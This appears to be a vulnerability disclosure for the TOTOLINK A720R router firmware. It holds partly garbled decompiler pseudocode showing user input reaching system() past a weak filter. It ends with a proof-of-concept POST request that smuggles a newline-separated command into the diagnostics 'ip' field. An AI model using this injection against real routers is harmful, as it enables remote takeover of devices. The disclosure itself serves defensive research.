## totolink vulnerability

```
vendor:TOTOLINK
product:A720R;
version:A720R_Firmware(V4.1.5cu.470_B20200911)
type:Remote Command Execution
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```

## **Vulnerability description**

We found an Command Injection vulnerability and buffer overflow vulnerability in TOTOLINK Technology router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.

## Remote Command Injection vulnerability

In this function, ip is directly passed by the attacker, so we can control the ip to attack the OS.

```
□ Ps··· 
■

■ Stack o…
■
                                        Ps··· ■
                                                   St ... □
    1int __fastcall sub_41F3D4(int a1)
    2 {
       int v2; // $s1
      int v3; // $v0
       int v4; // $s0
       char v6[128]; // [sp+18h] [-80h] BYREF
 memset(v6, 0, sizeof(v6));
v2 = websGetVar(a1, "ip", "www.baidu.com");
v3 = websGetVar(a1, "num", &byte_42E7C4);
 11
       v4 = atoi(v3);
 12 if ( !Validity_check(v2) )
  13 {
         sprintf(v6, (const char *)dword_42E19C, v2, v4);
 14
 15
         system(v6);
  16
 17
       sub_429148("0", "reserv");
 18 return 1;
 19}
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        IDA View-A □ □ Pseudocode-A □ □ Hex View-1 □
           1BOOL __fastcall Validity_check(int a1)
          2 {
             7
                   || strchr(a1, '<mark>$</mark>');
          10
       11}
```

## **Remote Command Injection**

We set the value of <code>ip</code> as **-h\nping 1.1.1.1\n** and the router will excute **ping** command,such as:

POST <a href="http://example.com/cgi-bin/cstecgi.cgi?action=s">http://example.com/cgi-bin/cstecgi.cgi?action=s</a>

(http://example.com/cgi-bin/cstecgi.cgi?action=s)

 $\{"topicurl":"setDiagnosisCfg","ip":"-h\nping 1.1.1.1\n","num":"500"\}$